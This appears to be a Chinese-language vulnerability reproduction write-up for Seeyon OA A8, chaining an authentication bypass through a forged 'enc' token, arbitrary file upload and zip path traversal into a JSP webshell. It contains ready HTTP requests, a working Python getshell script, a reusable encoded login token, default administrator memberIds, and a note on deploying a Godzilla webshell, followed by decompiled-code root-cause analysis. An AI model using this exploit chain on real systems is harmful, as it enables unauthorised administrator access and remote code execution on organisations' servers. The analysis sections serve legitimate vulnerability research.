漏洞复现
1.获得cookie
POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1
224791DA45D8CCAC687C1D40EB11A1AC
9D5488963545F408D71933161CCCAF53
每次请求都会得到一个cookie值,都可以用,如下:
失败的cookie如下:
2.上传zip文件
POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1416682316313
Content-Length: 1079
-----------------------------1416682316313
Content-Disposition: form-data; name="type"
-----------------------------1416682316313
Content-Disposition: form-data; name="extensions"
-----------------------------1416682316313
Content-Disposition: form-data; name="applicationCategory"
-----------------------------1416682316313
Content-Disposition: form-data; name="destDirectory"
-----------------------------1416682316313
Content-Disposition: form-data; name="destFilename"
-----------------------------1416682316313
Content-Disposition: form-data; name="maxSize"
-----------------------------1416682316313
Content-Disposition: form-data; name="isEncrypt"
-----------------------------1416682316313
Content-Disposition: form-data; name="file1"; filename="123.zip"
Content-Type: application/x-zip-compressed
zip文件
-----------------------------1416682316313--
注意这里zip文件直接burp右键paste from file放进去即可
这里压缩文件如上
3.解压压缩文件
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]
可以看到报错找不到指定文件,是因为我们压缩包中没有带layout.xml,其必须存在否则在利用解压漏洞时会解压失败空内容即可
注意上传目录:
然后我重新生成zip文件
再次解压,
但是访问不到,应该这里有问题
因为解压出来的目录都为空,直接用下面脚本吧
这里利用脚本来进行攻击利用
223.py
# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile
la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Content-Type': 'application/x-www-form-urlencoded'}
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
mm = generate_random_str(8)
webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1
def file_zip():
shell = 'test' ## 替换shell内容
zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
zf.writestr('layout.xml', "")
zf.writestr(webshell_name2, shell)
def Seeyon_Getshell(urllist):
url = urllist+'/seeyon/thirdpartyController.do'
post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
response = requests.post(url=url, data=post, headers=la)
if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
cookie = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookie)
jsessionid = cookies['JSESSIONID']
file_zip()
print( '获取cookie成功---->> '+jsessionid)
fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
'isEncrypt': "0"}
file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
time.sleep(2)
else:
print('获取cookie失败')
exit()
if filego.text:
fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
fileid = fileid1[0]
if len(fileid1) == 0:
print('未获取到文件id可能上传失败!')
print('上传成功文件id为---->>:'+fileid)
Date_time = time.strftime('%Y-%m-%d')
headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
getshellurl = urllist+'/seeyon/ajax.do'
data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
time.sleep(1)
webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
shelllist = requests.get(url=webshellurl1)
if shelllist.status_code == 200:
print('利用成功webshell地址:'+webshellurl1)
else:
print('未找到webshell利用失败')
def main():
if (len(sys.argv) == 2):
url = sys.argv[1]
Seeyon_Getshell(url)
else:
print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")
if __name__ == '__main__':
main()
python.exe 223.py http://192.168.1.2
然后我们在本地找找文件上传目录
因为脚本中加了…/,所以就在pageLayout根目录,如果不加…/会在2853431203184658860文件夹下面,
可以看到layout只需要有这个文件就行,0kb就行,所以我们上面手动的操作没问题,但是不知道哪有问题
我们改掉shell内容,为哥斯拉jsp
可以看到漏洞利用成功
漏洞原理
任意账户登录分析
首先搜索thirdpartyController.do接口
然后找到ThirdpartyController类路径
可以根据路由接口找到对应配置文件中类文件的映射找到类路径
根据exp知道调用了access方法
@NeedlessCheckLogin
public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws Exception {
long time1 = System.currentTimeMillis();
ModelAndView mv = new ModelAndView("thirdparty/thirdpartyAccess");
Locale locale = LocaleContext.make4Frontpage(request);
HttpSession session = request.getSession();
String openFrom = request.getParameter("from");
Long loginTime = System.currentTimeMillis();
String enc = null;
if (request.getParameter("enc") != null) {
enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
} else {
String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
enc = request.getQueryString().indexOf("enc=") > 0 ? LightWeightEncoder.decodeString(transcode) : null;
}
if (enc == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
} else {
Map<String, String> encMap = new HashMap();
String[] enc0 = enc.split("[&]");
String[] link = enc0;
int var14 = enc0.length;
String path;
String startTimeStr;
for(int var15 = 0; var15 < var14; ++var15) {
String enc1 = link[var15];
String[] enc2 = enc1.split("[=]");
if (enc2 != null) {
path = enc2[0];
startTimeStr = enc2.length == 2 ? enc2[1] : null;
if (null != startTimeStr) {
startTimeStr = URLEncoder.encode(startTimeStr);
startTimeStr = startTimeStr.replaceAll("%3F", "");
startTimeStr = URLDecoder.decode(startTimeStr);
}
encMap.put(path, startTimeStr);
}
}
link = null;
long memberId = -1L;
Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;
String linkType = (String)encMap.get("L");
path = (String)encMap.get("P");
Long timeStamp;
String link;
if (Strings.isNotBlank(linkType)) {
startTimeStr = "0";
if (encMap.containsKey("T")) {
startTimeStr = (String)encMap.get("T");
startTimeStr = startTimeStr.trim();
}
timeStamp = 0L;
if (NumberUtils.isNumber(startTimeStr)) {
timeStamp = Long.parseLong(startTimeStr);
}
if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}
String _memberId = (String)encMap.get("M");
if (_memberId == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
memberId = Long.parseLong(_memberId);
link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
if (link == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
String[] linkParams = request.getParameterValues("P");
MessageFormat formatter = new MessageFormat(link);
int formatsCount = formatter.getFormats().length;
if (linkParams != null) {
if (formatsCount > linkParams.length) {
String[] params = new String[formatsCount];
for(int i = 0; i < params.length; ++i) {
if (i < linkParams.length) {
params[i] = linkParams[i];
} else {
params[i] = "";
}
}
link = formatter.format(params);
} else {
link = formatter.format(linkParams);
}
} else {
linkParams = new String[formatsCount];
for(int i = 0; i < linkParams.length; ++i) {
linkParams[i] = "";
}
link = formatter.format(linkParams);
}
} else {
if (!Strings.isNotBlank(path)) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
link = URLDecoder.decode(path);
startTimeStr = (String)encMap.get("C");
timeStamp = null;
SSOTicketManager.TicketInfo ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);
if (ticketInfo == null) {
startTimeStr = startTimeStr.replaceAll(" ", "+");
ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);
}
loginTime = ticketInfo.getCreateDate().getTime();
if ("weixin".equals(ticketInfo.getFrom())) {
userAgentFrom = login_useragent_from.weixin;
}
if (ticketInfo != null) {
memberId = ticketInfo.getMemberId();
}
}
if (memberId == -1L) {
mv.addObject("ExceptionKey", "mail.read.alert.noUser");
return mv;
} else {
boolean isNeedLogout = false;
long time2 = System.currentTimeMillis();
log.info("Param耗时" + (time2 - time1) + "MS");
User currentUser = (User)session.getAttribute("com.seeyon.current_user");
if (currentUser != null) {
if (currentUser.getId() != memberId) {
mv.addObject("ExceptionKey", "mail.read.alert.exists");
return mv;
}
} else {
V3xOrgMember member = this.orgManager.getMemberById(memberId);
if (member == null) {
mv.addObject("ExceptionKey", "mail.read.alert.noUser");
return mv;
}
LocaleContext.setLocale(session, this.orgManagerDirect.getMemberLocaleById(member.getId()));
currentUser = new User();
currentUser.setLoginTimestamp(loginTime);
session.setAttribute("com.seeyon.current_user", currentUser);
AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);
AppContext.initSystemEnvironmentContext(request, response, true);
currentUser.setSecurityKey(UUIDLong.longUUID());
currentUser.setId(memberId);
currentUser.setName(member.getName());
currentUser.setLoginName(member.getLoginName());
currentUser.setAccountId(member.getOrgAccountId());
currentUser.setLoginAccount(member.getOrgAccountId());
currentUser.setDepartmentId(member.getOrgDepartmentId());
currentUser.setLevelId(member.getOrgLevelId());
currentUser.setPostId(member.getOrgPostId());
currentUser.setInternal(member.getIsInternal());
currentUser.setUserAgentFrom(userAgentFrom.name());
currentUser.setSessionId(session.getId());
currentUser.setRemoteAddr(Strings.getRemoteAddr(request));
currentUser.setLocale(locale);
BrowserEnum browser = BrowserEnum.valueOf(request);
if (browser == null) {
browser = BrowserEnum.IE;
}
currentUser.setBrowser(browser);
UserHelper.setResourceJsonStr(JSONUtil.toJSONString(this.privilegeMenuManager.getResourceCode(currentUser.getId(), currentUser.getLoginAccount())));
CurrentUser.set(currentUser);
isNeedLogout = true;
}
long time3 = System.currentTimeMillis();
log.info("User耗时" + (time3 - time2) + "MS");
if (Strings.isNotBlank(linkType)) {
Integer paramIndex = (Integer)VlinkeParamMap.get(linkType);
String[] linkParams = request.getParameterValues("P");
if (paramIndex != null && linkParams.length > paramIndex) {
String paramValue = linkParams[paramIndex];
if (Strings.isNotBlank(paramValue)) {
String vlink = SecurityHelper.func_digest(paramValue);
int _index = link.indexOf("&v=");
if (Strings.isNotBlank(link) && _index > -1) {
String beforeLink = link.substring(0, _index);
String afterLink = link.substring(_index + 1, link.length());
int _indexAfter = afterLink.indexOf("&");
if (_indexAfter > -1) {
afterLink = afterLink.substring(_indexAfter, afterLink.length());
link = beforeLink + "&v=" + vlink + afterLink;
} else {
link = beforeLink + "&v=" + vlink;
}
} else {
vlink = "&v=" + vlink;
link = link + vlink;
}
}
}
}
long time4 = System.currentTimeMillis();
log.info("Link耗时" + (time4 - time3) + "MS");
init();
OnlineUser onlineUser = OnlineRecorder.getOnlineUser(currentUser.getLoginName());
if (serverType == 2) {
synchronized(isExceedMaxLoginNumberLock) {
if (onlineUser == null) {
boolean isExceedMaxLoginNumber = OnlineRecorder.isExceedMaxLoginNumberServer();
if (isExceedMaxLoginNumber) {
mv.addObject("ExceptionKey", "mail.read.alert.ExceedMaxLoginNumber");
return mv;
}
}
this.onlineManager.updateOnlineState(currentUser);
}
}
link = link + (link.contains("?") ? "&" : "?") + "_isModalDialog=true";
if (link.indexOf("&openFrom") > -1) {
link = link + "&extFrom=" + (String)Strings.escapeNULL(openFrom, "");
} else {
link = link + "&openFrom=" + (String)Strings.escapeNULL(openFrom, "");
}
mv.addObject("link", link);
mv.addObject("isNeedLogout", isNeedLogout);
long time5 = System.currentTimeMillis();
log.info("Online耗时" + (time5 - time4) + "MS");
log.info("All耗时" + (time5 - time1) + "MS");
return mv;
}
}
}
根据exp可以看到参数是enc,这就是致远独特的地方,先选定方法再选定参数
enc参数不为null时候,调用LightWeightEncoder.decodeString方法解码
public static String decodeString(String encodeString) {
if (encodeString == null) {
return null;
} else {
try {
encodeString = new String((new Base64()).decode(encodeString.getBytes()));
} catch (Exception var3) {
log.warn(var3.getMessage());
}
char[] encodeStringCharArray = encodeString.toCharArray();
for(int i = 0; i < encodeStringCharArray.length; ++i) {
--encodeStringCharArray[i];
}
return new String(encodeStringCharArray);
}
}
可以看到其功能是对传入的字符串base64解码,然后将解码后的字符串每一个字符向后移动一位
例如传入bcd->base64编码->调用decodeString->abc。
package com.example.zhiyuantools;
import java.util.Base64;
public class decode {
public static void main(String[] args) {
String encodedString = "YmNk";
String decodedString = decodeString(encodedString);
System.out.println("Decoded string: " + decodedString);
}
public static String decodeString(String encodedString) {
if (encodedString == null) {
return null;
} else {
try {
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
// Modify the decoded bytes if needed
for (int i = 0; i < decodedBytes.length; ++i) {
--decodedBytes[i];
}
String decodedString = new String(decodedBytes);
// Perform any additional processing if needed
return decodedString;
} catch (Exception e) {
// Handle the exception gracefully
e.printStackTrace();
return null; // or handle it in a different way based on your requirement
}
}
}
}
解码后继续往下看
这段将解码后的字符串分割,首先是将enc的值通过&分割成一个字符串列表,然后再进行遍历,再根据=再次分割字符串,将=前的值作为key放入encMap中,=后面的作为key的值 。如test=1&test2=2&test3=3,就会被拆成{“test”: 1,“test2”: 2, “test3”: 3}。
上面这段代码是从encMap中根据键L、P、T、M拿到对应的值分别赋值给linkType、path、startTimeStr、_memberId。
重点是要走到String _memberId = (String)encMap.get(“M”);那么我们就不能让
if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}
这部分返回,这里判断是openFrom等于ucpc,openFrom来自于from参数(那么我们exp数据包中没有传入form参数,那么第一个条件为1),另一个条件是当前时间是否大于了指定的时间,如果大于就返回mv走不到我们后面,timeStamp可控制,那么我们传入一个timeStamp很大和System.currentTimeMillis()一样的值,那么条件不成立走到我们需要的String _memberId = (String)encMap.get(“M”);这里。
接下来继续走
这里link也很关键,如果为null也会直接返回,所以必须从linkType中获得值,那么我们看看getMessageLinkType方法
跟入
那么接下来看看哪里put传入了这个类型
可以看到这里加载了/base/message-link.properties配置文件,然后传入值到messageLinkTypes
随便挑一个给linkType赋值就可以绕过最后一个条件link不为null。
继续往下走,最关键的一步
这段代码通过我们拿到的memberId作为参数调用了this.orgManager.getMemberById,这个方法大致就是通过memberId查找对应的用户,从别的师傅文章中得知,致远中存在几个默认的用户
"5725175934914479521" "集团管理员"
"-7273032013234748168" "系统管理员"
"-7273032013234748798" "系统监控"
"-4401606663639775639" "审计管理员"
我们只需要通过以上memberId就能查询出管理员用户信息,在391行,用新创建的User对象重新设置了session,并且将查询出来的用户信息设置到了currentUser对象中,这才导致了任意用户登录漏洞。
问题点:
但是最后发现我用https://fanygit.github.io/2023/04/27/%E8%87%B4%E8%BF%9COA%20A8-V5%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/参考文章的生成jsession发现不行,如下:
加clientPath试试也不行,如下
后面我将T改成我自己poc那个大小
再次试验
成功,也就是作者给出的poc有问题,T没有绕过,我们这里增大T成功了
文件上传漏洞原理
根据配置文件找到对应类,找poc中用到的方法
可以看到uploadFiles方法是三个参数,那么找方法
找到方法位置,代码如下:
private Map<String, V3XFile> uploadFiles(HttpServletRequest request, String allowExtensions, Map<String, File> destFiles, String destDirectory, Long maxSize) throws BusinessException {
String allowExt = allowExtensions;
User user = AppContext.getCurrentUser();
if (user == null) {
return null;
} else if (!(request instanceof MultipartHttpServletRequest)) {
throw new IllegalArgumentException("Argument request must be an instantce of MultipartHttpServletRequest. [" + request.getClass() + "]");
} else {
Date createDate = new Date();
String dir;
if (StringUtils.isNotBlank(destDirectory)) {
dir = FilenameUtils.separatorsToSystem(destDirectory);
} else {
String ucFlag = request.getParameter("ucFlag");
if ("yes".equals(ucFlag)) {
dir = this.partitionManager.getFolderForUC(createDate, true);
} else {
dir = this.getFolder(createDate, true);
}
}
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
Object maxUploadSizeExceeded = multipartRequest.getAttribute("MaxUploadSizeExceeded");
if (maxUploadSizeExceeded != null) {
if (maxSize != null && maxSize != 0L) {
throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});
} else {
throw new BusinessException("fileupload.exception.MaxSize", new Object[]{maxUploadSizeExceeded});
}
} else {
Object ex = multipartRequest.getAttribute("unknownException");
if (ex != null) {
throw new BusinessException("fileupload.exception.unknown", new Object[]{ex});
} else {
Map<String, V3XFile> v3xFiles = new HashMap();
Iterator<String> fileNames = multipartRequest.getFileNames();
if (fileNames == null) {
return null;
} else {
String isEncrypt = request.getParameter("isEncrypt");
while(true) {
Object name;
do {
do {
if (!fileNames.hasNext()) {
return v3xFiles;
}
name = fileNames.next();
} while(name == null);
} while("".equals(name));
String fieldName = String.valueOf(name);
List<MultipartFile> fileItemList = multipartRequest.getFiles(String.valueOf(name));
for(int fileIndex = 0; fileIndex < fileItemList.size(); ++fileIndex) {
MultipartFile fileItem = (MultipartFile)fileItemList.get(fileIndex);
if (fileItem != null) {
if (maxSize != null && fileItem.getSize() > maxSize) {
throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});
}
String filename = fileItem.getOriginalFilename().replace(' ', ' ').replace('?', ' ');
String suffix = FilenameUtils.getExtension(filename).toLowerCase();
if (!StringUtils.isEmpty(allowExt) && !StringUtils.isEmpty(suffix)) {
allowExt = allowExt.replace(',', '|');
if (!Pattern.matches(allowExt.toLowerCase(), suffix)) {
throw new BusinessException("fileupload.exception.UnallowedExtension", new Object[]{allowExt});
}
}
FileItem fi = new FileItemImpl(fileItem);
FileUploadEvent event = new FileUploadEvent(this, fi);
try {
EventDispatcher.fireEventWithException(event);
} catch (Throwable var30) {
if (var30 instanceof BusinessException) {
throw (BusinessException)var30;
}
throw new BusinessException(var30.getLocalizedMessage(), var30);
}
if (fi.getMessages().size() > 0) {
request.setAttribute("upload.event.message", fi.getMessages());
}
long fileId = UUIDLong.longUUID();
File destFile = null;
try {
if (destFiles != null && destFiles.get(fieldName) != null) {
destFile = (File)destFiles.get(fieldName);
destFile.getParentFile().mkdirs();
} else {
destFile = new File(dir + File.separator + fileId);
}
String encryptVersion = null;
encryptVersion = CoderFactory.getInstance().getEncryptVersion();
if (encryptVersion != null && !"no".equals(encryptVersion) && !"false".equals(isEncrypt)) {
BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(destFile));
CoderFactory.getInstance().upload(fi.getInputStream(), bos, encryptVersion);
} else {
fi.saveAs(destFile);
}
} catch (Exception var31) {
throw new BusinessException("附件存盘时发生错误", var31);
}
V3XFile file = new V3XFile(fileId);
file.setCreateDate(createDate);
file.setFilename(filename);
file.setSize(fi.getSize());
file.setMimeType(fi.getContentType());
file.setType(Constants.ATTACHMENT_TYPE.FILE.ordinal());
file.setCreateMember(user.getId());
file.setAccountId(user.getAccountId());
String newKeyName = fieldName + "_" + (fileIndex + 1);
v3xFiles.put(newKeyName, file);
}
}
}
}
}
}
}
}
代码太长了,分开来看
File destFile = null;
try {
if (destFiles != null && destFiles.get(fieldName) != null) {
destFile = (File)destFiles.get(fieldName);
destFile.getParentFile().mkdirs();
} else {
destFile = new File(dir + File.separator + fileId);
}
// ...
} catch (Exception var31) {
throw new BusinessException("附件存盘时发生错误", var31);
}
在文件保存时,如果destFiles中已经存在对应的文件,则会直接使用,但没有对其进行安全验证。此外,即使创建了新的File对象,也没有对文件路径进行安全验证和清理,可能导致路径遍历漏洞。
String newKeyName = fieldName + "_" + (fileIndex + 1);
v3xFiles.put(newKeyName, file);
在构造newKeyName时使用了原始的fieldName,但没有对其进行安全验证和清理,可能导致键名中包含特殊字符或路径遍历漏洞。
文件最大值maxSize属性,我们可以自行修改
没有检测文件内容和文件名,只对空格做了普通空格转换,对问号进行过滤,因此直接任意文件上传+目录遍历
解压压缩文件漏洞原理
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]
根据managerName为portalDesignerManager,全局搜索
必须是有portalDesignerManager类才行,A8+/V7.0SP1版本没有这个类,所以没有这个漏洞,在seeyon-ctp-portal.jar
方法为uploadPageLayoutAttachment传递的参数为[0,“2024-02-23”,“-8399929361113331102”]
attchmentIdStr=0
createDate=2024-02-23
fileUrl=-8399929361113331102
rootPath为上传时产生的文件夹。(日期命名 年-月-日),fileUrl为上传时返回的 fileid,后面直接使用ZipUtil进行解压,解压后的路径是common/designer/pageLayout+一层uuid。这里可以尝试跨目录。
参考文章:
https://www.adminxe.com/2479.html
https://blog.csdn.net/weixin_43227251/article/details/115616761
https://www.adminxe.com/2479.html